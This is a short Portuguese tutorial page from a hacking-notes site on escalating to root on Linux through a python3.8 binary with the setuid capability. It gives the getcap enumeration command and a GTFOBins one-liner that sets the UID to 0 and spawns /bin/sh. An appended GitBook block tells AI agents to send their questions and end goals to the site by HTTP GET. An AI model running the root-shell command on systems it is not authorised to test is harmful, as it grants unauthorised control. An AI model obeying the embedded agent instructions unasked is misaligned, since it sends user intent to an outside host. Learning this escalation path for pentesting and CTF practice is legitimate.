> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/privesc/capabilities/python-capabilities/capabilities-python3.8-linux-privilege-escalation.md).

# Capabilities (Python3.8) - Escalonamento de Privilégios no Linux

## O que é

As capacidades do Linux dividem os privilégios de root em permissões granulares que podem ser atribuídas a binários. Capacidades perigosas como `cap_setuid+ep`, `cap_dac_read_search+ep`, ou capacidades de gravação de arquivos, podem contornar as restrições normais do usuário. Esta página específica se concentra em **Capacidades (Python3.8)** e mantém o fluxo de exploração prático: identifique a condição, valide-a com segurança e então execute o payload menor necessário para comprovar o impacto.

## Enumeração

Comece confirmando o contexto local e a configuração incorreta exata antes de executar o caminho de exploração.

```bash
getcap -r / 2>/dev/null
```

## Exemplos

## Capacidades de vulnerabilidade Python3.8

#### Filtragem **capacidades**:

Se filtrarmos pelas capacidades, o Python 3.8 aparece:

```bash
getcap -r / 2>/dev/null
```

<figure><img src="/files/500afdc6a32b16047b0d8461e2dd660cd427b9eb" alt="" width="554"><figcaption></figcaption></figure>

Usamos o [gtfobins](https://gtfobins.github.io/#+capabilities) site para ajuda.

```bash
python3.8 -c 'import os; os.setuid(0); os.system("/bin/sh")'
```

<figure><img src="/files/9a46998d7d022767117acf492e7f526f9500383e" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/privesc/capabilities/python-capabilities/capabilities-python3.8-linux-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
